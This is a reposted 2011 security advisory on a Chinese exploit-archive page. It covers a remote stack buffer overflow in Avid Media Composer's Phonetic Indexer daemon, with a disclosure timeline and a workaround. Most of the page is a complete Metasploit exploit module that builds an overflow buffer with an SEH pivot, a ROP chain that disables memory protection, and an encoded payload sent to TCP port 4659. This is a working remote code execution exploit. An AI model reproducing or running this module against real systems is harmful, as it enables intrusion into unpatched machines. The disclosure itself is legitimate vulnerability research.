首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
AVID Media Composer Phonetic Indexer Remote Stack BoF
来源:nick.freeman@security-assessment.com 作者:Freeman 发布时间:2011-12-02  

#Name :AVID Media Composer Phonetic Indexer Remote Stack Buffer Overflow
#Vendor Website : http://www.avid.com
#Date Released : November 29, 2011
#Affected Software : AVID Media Composer <= 5.5.3 Researcher
#Researcher : Nick Freeman (nick.freeman@security-assessment.com)

#Description
#Security-Assessment.com discovered a remote stack buffer overflow vulnerability in a network daemon that #ships with Avid Media Composer 5.5, named AvidPhoneticIndexer.exe. By sending a large request to the #listening network service, it is possible to overwrite the stack of the process and gain arbitrary code #execution.

#Solution
#No patch is available for this vulnerability at this time. Host and network based firewalling are #recommended as workarounds to limit the exposure of the vulnerable service.

#Disclosure timeline
#Security-Assessment.com practices responsible disclosure and made significant effort to report this #vulnerability to AVID.
#14/05/11: Vulnerability identified.
#17/05/11: Avid Media Composer 5.5.2 released.
#26/05/11: Attempted calling, left voicemail and emailed the AVID Application Security Management team.
#Early June 2011: Called members of the AVID Media Composer Development team.
#Early-Mid June 2011: Emailed AVID Media Composer Product Management team, who indicated that they were aware #of the vulnerabilities before I had explained the nature of the issues. AVID explained that all #vulnerabilities were in the process of being resolved. Security-Assessment.com suggested collaboration to #ensure all issues were being identified, but AVID was not interested in pursuing this.
#17/08/11: Avid Media Composer 5.5.3 released. Vulnerability still present.
#05/11/11: Vulnerability released at Kiwicon V in Wellington, New Zealand.
#19/11/11: Vulnerability released at Ruxcon 2011 in Melbourne, Australia.
#29/11/11: Vulnerability advisory and exploit code published.

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Avid Media Composer 5.5 - Avid Phonetic Indexer Stack Overflow",
   'Description'    => %q{
     This module exploits a stack buffer overflow in process AvidPhoneticIndexer.exe (port 4659),
    which comes as part of the Avid Media Composer 5.5 Editing Suite. This daemon sometimes starts on a
    different port; if you start it standalone it will run on port 4660.
   },
   'License'        => MSF_LICENSE,
   'Version'        => "$Revision: 13137 $",
   'Author'         =>
    [
     'vt [nick.freeman@security-assessment.com]',
    ],
   'References'     =>
    [
     [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Avid_Media_Composer-Remote_Stack_Buffer_Overflow.pdf' ],
    ],
   'Payload'        =>
    {
     'Space'    => 1012,
     'BadChars' => "\x00\x09\x0a\x0d\x20",
     'DisableNops' => true,
     'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
     'EncoderOptions' =>
      {
       'BufferRegister' => 'EAX',
      }
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP Professional SP3', {} ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Nov 29 2011",
   'DefaultTarget'  => 0))

   register_options(
    [
     Opt::RPORT(4659),
    ], self.class)
 end

 def exploit

  junk = 'A' * 216
  sehpivot = "\xeb\x35\x8b\x02" #0x028B35EB :  # ADD ESP,1800 # RETN
  junk2 = 'A' * 732

  rop_gadgets = [
  
    # ROP chain (sayonara) courtesy of WhitePhosphorus (thanks guys!) - a non-sayonara ROP would be super easy too, I'm just lazy :)
    0x7C344CC1,  # pop eax;ret;
    0x7C3410C2, # pop ecx;pop ecx;ret;
    0x7C342462, # xor chain; call eax {0x7C3410C2}
    0x7C38C510, # writeable location for lpflOldProtect
    0x7C365645, # pop esi;ret;
    0x7C345243, # ret;
    0x7C348F46, # pop ebp;ret;
    0x7C3487EC, # call eax
    0x7C344CC1, # pop eax;ret;
    0xfffffbfc, # {size}
    0x7C34D749, # neg eax;ret; {adjust size}
    0x7C3458AA, # add ebx, eax;ret; {size into ebx}
    0x7C3439FA, # pop edx;ret;
    0xFFFFFFC0, # {flag}
    0x7C351EB1, # neg edx;ret; {adjust flag}
    0x7C354648, # pop edi;ret;
    0x7C3530EA, # mov eax,[eax];ret;
    0x7C344CC1, # pop eax;ret;
    0x7C37A181, # (VP RVA + 30) - {0xEF adjustment}
    0x7C355AEB, # sub eax,30;ret;
    0x7C378C81, # pushad; add al,0xef; ret;
    0x7C36683F, # push esp;ret;
  ].pack("V*")
  
  # need to control a buffer reg for the msf gen'd payload to fly. in this case:
  bufregfix = "\x8b\xc4"   # MOV EAX,ESP
  bufregfix += "\x83\xc0\x10"  # ADD EAX,10
  
  connect
  sploit = junk + sehpivot + junk2 + rop_gadgets + bufregfix + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + payload.encoded
  sock.put(sploit)
  handler
  disconnect
 end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Serv-U FTP Server <4.2 Buffer
·Final Draft 8 Multiple Stack B
·IBM Lotus Domino Server Contro
·StoryBoard Quick 6 Stack Buffe
·CCMPlayer 1.5 Stack based Buff
·CoDeSys SCADA v2.3 Remote Expl
·MS11-080 Afd.sys Privilege Esc
·[0day]Microsoft Works 7 WkImgS
·GOM Player 2.1.33.5071 ASX Fil
·Avid Media Composer 5.5 - Avid
·Bugbear FlatOut 2005 Malformed
·Hillstone Software HS TFTP Ser
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved